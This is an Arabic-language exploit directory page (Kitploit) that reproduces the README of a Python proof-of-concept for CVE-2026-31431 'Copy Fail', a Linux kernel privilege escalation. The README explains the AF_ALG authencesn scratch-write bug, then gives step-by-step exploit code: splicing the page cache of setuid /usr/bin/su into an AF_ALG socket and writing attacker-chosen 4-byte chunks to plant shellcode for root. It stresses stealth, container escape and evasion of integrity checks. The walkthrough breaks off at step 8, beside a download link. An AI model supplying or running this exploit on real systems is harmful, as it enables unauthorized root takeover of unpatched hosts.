Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431-python-copyfail-POC — استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431-python-copyfail-POC

استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر.

عرض المستودع
29منذ 5 أشهرلم تتم المراجعة بعد

CVE-2026-31431: Copy Fail - تصعيد صلاحيات نواة لينكس

Copy Fail (CVE-2026-31431) هو خطأ منطقي حرج في النظام الفرعي للتشفير في نواة لينكس يسمح للمستخدمين غير المصرح لهم بتحقيق تصعيد الصلاحيات إلى صلاحيات الجذر (root). تؤثر الثغرة على نواة لينكس من الإصدار 6.0.0 حتى 6.18.x عبر جميع التوزيعات الرئيسية.

يحتوي هذا المستودع على الاستغلال الحقيقي الذي يُفعّل الثغرة عن طريق إفساد ذاكرة التخزين المؤقت للصفحات (page cache) للملفات الثنائية ذات setuid وتنفيذ كود تعسفي بصلاحيات الجذر.


ما هو Copy Fail؟

Copy Fail هو خطأ منطقي يسمح للمستخدمين غير المصرح لهم بكتابة أجزاء عشوائية من 4 بايت مباشرة إلى ذاكرة التخزين المؤقت للصفحات في النواة لأي ملف قابل للقراءة على النظام، بما في ذلك الملفات الثنائية ذات setuid.

الخصائص الرئيسية:

  • حتمي (Deterministic): لا يحتاج إلى حالات سباق (race conditions) أو نوافذ توقيت
  • قابل للنقل (Portable): نفس الاستغلال يعمل عبر جميع التوزيعات المعرضة للخطر (Ubuntu, RHEL, Amazon Linux, SUSE)
  • خفي (Stealthy): لا يتم تعديل الملفات على القرص أبدًا؛ فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة يتم إفسادها
  • متوافق مع الحاويات (Containerized): يتجاوز حدود الحاويات لأن ذاكرة التخزين المؤقت للصفحات مشتركة عبر المضيف
  • بسيط (Simple): يتطلب فقط Python 3.10+ ووحدات المكتبة القياسية

التفاصيل التقنية

السبب الجذري: عمليات AEAD في المكان (In-Place)

تنبع الثغرة من تحسين تم في عام 2017 في algif_aead.c (commit 72548b093ee3) والذي غيّر عمليات AEAD من خارج المكان (out-of-place) إلى في المكان (in-place):

قبل (آمن - 2015):

TX Scatterlist (الإدخال)  ← TX buffer (بيانات المستخدم من الملف)
RX Scatterlist (الإخراج) ← RX buffer (منطقة إخراج المستخدم)
                          
Scatterlists منفصلة = صفحات ذاكرة التخزين المؤقت للصفحات للقراءة فقط

بعد (معرض للخطر - 2017):

Scatterlist مدمج:
[ RX buffer ] [ صفحات ذاكرة التخزين المؤقت للصفحات مرتبطة عبر sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (نفس scatterlist)

صفحات ذاكرة التخزين المؤقت للصفحات الآن في scatterlist قابل للكتابة!

يبدو الـ scatterlist المدمج كما يلي:

[AAD + Ciphertext من RX buffer] || [Tag من صفحة /usr/bin/su في ذاكرة التخزين المؤقت]
                                  ↑
                                  الحدود
                                  (authencesn يكتب بعد هذه النقطة)

المُشغِّل: كتابة الخدش في خوارزمية authencesn

خوارزمية authencesn هي غلاف AEAD تستخدمه IPsec لأرقام التسلسل الموسعة (ESN). تقوم بحساب HMAC ولكنها تحتاج إلى إعادة ترتيب البايتات داخل AAD (بيانات المصادقة المرتبطة).

في كود النواة (crypto/authenc.c)، أثناء فك التشفير:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // قراءة بايتات AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // مؤقت: الكتابة فوق dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← السطر الرئيسي
                                                        // كتابة 4 بايتات عند dst[assoclen+cryptlen]

المشكلة: الكتابة الثالثة تحدث عند الإزاحة assoclen + cryptlen. في المسار المعرض للخطر (في المكان):

  • الحالة العادية: هذه الإزاحة ضمن RX buffer الخاص بالمستخدم (غير ضار)
  • الحالة المعرضة للخطر: هذه الإزاحة تتجاوز buffer المستخدم وتقع في صفحات ذاكرة التخزين المؤقت للصفحات المرتبطة (حرج)

تتعامل النواة مع هذا الموضع كـ"مساحة خدش قابلة للاستهلاك" وتكتب القيمة هناك بشكل دائم. البايتات الأصلية في هذا الموضع في ذاكرة التخزين المؤقت للصفحات تُفقد إلى الأبد.

سلسلة الهجوم

1. يفتح المهاجم مقبس AF_ALG → يربطه بـ authencesn(hmac(sha256),cbc(aes))
   (لا توجد صلاحيات مطلوبة؛ AF_ALG متاح للمستخدمين غير المصرح لهم افتراضيًا)

2. يفتح المهاجم الملف المستهدف: /usr/bin/su (ملف ثنائي setuid-root)

3. يستخدم المهاجم splice() لتسليم صفحات /usr/bin/su من ذاكرة التخزين المؤقت
   إلى مقبس AF_ALG كـ"ciphertext" و"tag"
   
4. يرسل المهاجم sendmsg() مع AAD يحتوي على:
   - البايتات 0-3: حشو
   - البايتات 4-7: seqno_lo = قيمة 4 بايتات للكتابة (يتحكم بها المهاجم)
   - البايتات 8+: حشو

5. يستدعي المهاجم recvmsg() الذي يُفعّل عملية فك تشفير AEAD
   
   داخل authencesn في مساحة النواة:
   أ) تقرأ النواة بايتات AAD 0-7
   ب) تكتب النواة seqno_hi عند dst[4..7] (مؤقت، ثم يُستعاد)
   ج) تكتب النواة seqno_lo عند dst[assoclen + cryptlen]
      ↓
      هذه الكتابة تعبر من buffer المستخدم إلى صفحات ذاكرة التخزين المؤقت
      ↓
      كتابة 4 بايتات إلى ذاكرة التخزين المؤقت لـ /usr/bin/su تحدث هنا
   د) تحسب النواة HMAC (يفشل التحقق - ciphertext مُلفق)
   هـ) يعيد recvmsg() خطأ
   
   لكن: كتابة الـ 4 بايتات تبقى بالفعل في ذاكرة التخزين المؤقت للصفحات

6. يكرر المهاجم الخطوات 2-5 لكل جزء من 4 بايتات من الشيلكود

7. ينفذ المهاجم /usr/bin/su
   - تحمّل النواة الملف الثنائي من ذاكرة التخزين المؤقت للصفحات (التي تحتوي الآن على الشيلكود)
   - الملف الثنائي هو setuid-root
   - يُنفَّذ الشيلكود مع UID=0
   - يحصل المهاجم على صلاحيات الجذر

لماذا يعمل هذا

الجانبالشرح
لا أعطالتكتمل العملية من منظور النواة
حتميلا حالات سباق؛ متزامن وموثوق
مستمريبقى إفساد ذاكرة التخزين المؤقت حتى بعد خطأ recvmsg()
غير مرئيالملف على القرص لم يُمس؛ أدوات فحص السلامة القياسية لا تكتشف شيئًا
عالمينفس الكود يعمل على جميع التوزيعات؛ لا حاجة لإزاحات خاصة بالتوزيع
قابل للنقليعمل على معماريتي x86-64 و ARM64

الاستغلال: خطوة بخطوة

الخطوة 1: إعداد المقبس

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # مقبس الطلب لعمليات AEAD

أنشئ مقبس AF_ALG مرتبطًا بقالب authencesn AEAD.

الخطوة 2: فتح الملف الثنائي المستهدف

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

افتح الملف الثنائي setuid الذي سيتم إفساده. أي ملف قابل للقراءة يعمل، لكن الملفات الثنائية setuid تُختار لتصعيد الصلاحيات.

الخطوة 3: إنشاء أنبوب لـ Splice

pipe_rd, pipe_wr = os.pipe()

أنشئ أنبوبًا سيعمل كوسيط لعمليات splice(). ستحتفظ مخازن الأنبوب المؤقتة بمراجع لصفحات ذاكرة التخزين المؤقت.

الخطوة 4: نقل الملف إلى الأنبوب عبر Splice

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

استخدم splice() لنقل cryptlen بايت من /usr/bin/su بدءًا من write_offset إلى الأنبوب.

لماذا هذا مهم: ينقل splice() البيانات بين واصفات الملفات بدون نسخ. يمرر مراجع مباشرة لصفحات ذاكرة التخزين المؤقت للنواة. تبقى هذه الصفحات في بنية المخزن المؤقت الداخلية للأنبوب.

الخطوة 5: صياغة معاملات AEAD

assoclen = 8          # طول AAD: البايتات 0-7
cryptlen = 32         # طول Ciphertext (== مخرجات HMAC-SHA256)
authsize = 32         # طول Tag
write_offset = 0x2000 # الإزاحة في /usr/bin/su للكتابة إليها

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

يحتوي AAD (بيانات المصادقة المرتبطة) على:

  • البايتات 0-3: حشو
  • البايتات 4-7: قيمة الـ 4 بايتات للكتابة (seqno_lo) ← يتحكم بها المهاجم
  • الباقي: حشو

ستستخدم خوارزمية authencesn البايتات 4-7 من هذا AAD في كتابة الخدش الخاصة بها.

الخطوة 6: إرسال AAD

req_sock.sendmsg([aad], [], socket.MSG_MORE)

أرسل AAD إلى مقبس AF_ALG. تشير علامة MSG_MORE إلى أن ciphertext/tag سيتبعان.

الخطوة 7: نقل Ciphertext+Tag إلى المقبس عبر Splice

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

انقل صفحات ذاكرة التخزين المؤقت من الأنبوب إلى مقبس AF_ALG. الآن يحتوي scatterlist الخاص بالنواة على:

سلسلة Scatterlist:
[ AAD (من RX buffer) ] || [ Ciphertext (من RX buffer) ] → [ Tag (صفحات ذاكرة التخزين المؤقت) ]
                                                               ↑
                                                     لا يزال يشير إلى
                                                     صفحات /usr/bin/su

الخطوة 8: تفعيل الثغرة عبر recvmsg()

try:
    req_sock.recv(1024)
except OSError:
    pass  # من المتوقع أن يفشل مع HMAC غير صالح

استدعِ recvmsg() لتفعيل عملية فك تشفير AEAD:

تنزيل الأداة